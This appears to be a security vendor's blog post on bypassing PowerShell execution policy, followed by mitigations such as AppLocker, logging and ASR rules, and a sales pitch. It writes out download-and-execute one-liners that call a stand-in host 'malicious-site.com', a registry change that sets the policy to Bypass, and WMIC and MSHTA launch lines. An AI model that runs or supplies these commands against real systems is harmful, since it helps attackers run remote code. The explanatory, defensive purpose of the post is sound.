PowerShell Execution Policy Bypass: How Attackers Do It and How to Prevent It
PowerShell is a powerful scripting language and automation framework built into Windows. While it provides immense flexibility for system administration and automation, it is also a common attack vector for both penetration testers and threat actors.
Living off the land is a popular technique by threat actors which is why they love powershell; it is native to Windows, they can use it to avoid writing malicious files on the disk which is more likely to be detected by antivirus, and it is often trusted by applications.
Understanding PowerShell Execution Policy
PowerShell's execution policy is a security feature, commonly managed through Windows Active Directory (AD) Group Policy Objects (GPOs), designed to control which scripts are allowed to run and how they are allowed to run. The available execution policies include:
- Restricted – No scripts can be run.
- AllSigned – Only signed scripts can be run.
- RemoteSigned – Local scripts can run, but downloaded scripts require a digital signature.
- Unrestricted – All scripts can run with a warning for downloaded ones.
- Bypass – No restrictions at all.
Policies are set at different levels of the system:

To check the current execution policy, use:
Get-ExecutionPolicy -List
Bypassing PowerShell Execution Policy
The default powershell execution policy is set to restricted, this is meant to harden systems and prevent unauthorized scripts from running. However, execution policies only apply to .ps1 script files and not to inline commands. Attackers and penetration testers can easily bypass execution policy restrictions using several techniques. Here are some of the most common methods:
1. Running PowerShell with the Bypass Flag
One of the simplest ways to bypass execution policy is to use the -ExecutionPolicy Bypass flag when launching PowerShell:
powershell.exe -ExecutionPolicy Bypass -File script.ps1
2. Using iex and Invoke-Expression
A script can be executed in-memory without touching the disk:
iex (New-Object Net.WebClient).DownloadString('http://malicious-site.com/script.ps1')
3. Running Scripts via Invoke-WebRequest
An attacker can download and execute a remote script without saving it to disk:
powershell -ExecutionPolicy Bypass -NoProfile -Command "Invoke-WebRequest -Uri 'http://malicious-site.com/script.ps1' | Invoke-Expression"
4. Using Get-Content and Invoke-Expression
Another common technique is reading and executing a script in memory:
Get-Content script.ps1 | Out-String | Invoke-Expression
5. Using the reg add Command to Modify Execution Policy
An attacker with registry modification privileges can change the execution policy:
reg add HKLM\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell /v ExecutionPolicy /t REG_SZ /d Bypass /f
6. Execute the Script via the PowerShell Console
When executing commands directly in the interactive PowerShell console, the execution policy does not apply, as it only restricts .ps1 script files. This means that attackers and penetration testers can bypass execution policy by running commands inline, effectively executing malicious code without needing a script file. This is limited to the user's permissions.
7. Use the Command Switch
This technique allows execution of PowerShell commands without opening an interactive PowerShell console. By using the -Command switch, attackers or penetration testers can run commands inline via cmd.exe or another process. While useful for quick execution of simple scripts, complex scripts may encounter parsing errors. This method does not modify system configurations or write files to disk, making it an effective way to evade execution policy restrictions.
powershell.exe -Command "Write-Host 'Execution Policy Bypassed'"
For more advanced payloads:
powershell.exe -Command "& {Get-Process | Where-Object {$_.CPU -gt 50}}"
9. Using WMIC or MSHTA to Execute PowerShell Commands
Attackers can use Windows Management Instrumentation Command-line (WMIC) or MSHTA to launch PowerShell commands, effectively bypassing execution policies. These methods leverage built-in Windows tools that are often overlooked by security monitoring.
Example - WMIC Execution:
wmic process call create "powershell.exe -ExecutionPolicy Bypass -File script.ps1"
Example - MSHTA Execution:
mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run(""powershell.exe -ExecutionPolicy Bypass -NoProfile -Command 'Write-Host Hello'"",0)(window.close)")
10. Using DllImport in C# or PowerShell AMSI Bypass
Instead of executing PowerShell scripts directly, attackers can invoke PowerShell through .NET assemblies or bypass Antimalware Scan Interface (AMSI) to evade detection.
Example - PowerShell Execution via C#:
using System;
using System.Management.Automation;
class Program {
static void Main() {
PowerShell ps = PowerShell.Create();
ps.AddScript("Write-Host 'Execution Policy Bypassed'");
ps.Invoke();
}
}
Mitigating PowerShell Execution Policy Bypass
Given how easy it is to bypass execution policy restrictions, organizations should implement additional security controls. Here are some effective mitigation strategies:
1. Implement AppLocker or Windows Defender Application Control (WDAC)
AppLocker or WDAC can restrict which scripts, executables, and DLLs can be executed:
Set-AppLockerPolicy -XmlPolicy 'C:\AppLockerPolicy.xml'
2. Enable PowerShell Script Block Logging
Script block logging allows security teams to capture PowerShell activity for forensic analysis:
Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name EnableScriptBlockLogging -Value 1
3. Monitor PowerShell Events with SIEM
Monitor PowerShell-related logs and events in your SIEM solution:
- Event ID 4103 (Script Block Logging)
- Event ID 4104 (Script Execution)
- Event ID 4688 (Process Creation)
4. Restrict PowerShell to Constrained Language Mode
Use Windows Defender Application Control (WDAC) to enforce Constrained Language Mode:
$ExecutionContext.SessionState.LanguageMode
This limits PowerShell’s ability to execute advanced scripts while allowing basic administrative tasks.
5. Disable Unused PowerShell Versions
If PowerShell is not required for automation, consider disabling older versions:
Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2
6. Use Microsoft Defender for Endpoint’s Attack Surface Reduction (ASR) Rules
Microsoft Defender ASR rules can block suspicious PowerShell activities:
Set-MpPreference -AttackSurfaceReductionRules_Ids D3A2FB54-0970-4C66-94C1-2F520B1A1F5F -AttackSurfaceReductionRules_Actions Enabled
The Bigger Picture
While PowerShell's execution policy provides a layer of protection, it is not a hard boundary. Attackers and penetration testers have numerous ways to bypass these policies to execute malicious scripts. Organizations must go beyond execution policy enforcement and implement comprehensive security measures, including script block logging, application whitelisting, SIEM monitoring, and attack surface reduction techniques.
By staying proactive, organizations can significantly reduce the risk of PowerShell-based attacks and maintain a stronger security posture.
Get an Internal Security Assessment Today
PowerShell execution policy bypass is just one of many techniques attackers use to infiltrate networks. This is why security in depth is so important.
Our Internal Security Assessment includes:
✔ Active Directory Security Review – Identify misconfigurations, weak policies, and privilege escalation risks.
✔ PowerShell & Endpoint Hardening – Ensure security policies prevent script-based attacks.
✔ Lateral Movement & Privilege Escalation Testing – Simulate real-world attack scenarios to evaluate your defenses.
✔ SIEM & Logging Effectiveness Review – Validate your security monitoring capabilities.
Don’t wait for an attack to expose vulnerabilities. Contact us today to schedule an Internal Security Assessment and strengthen your defenses before adversaries take advantage.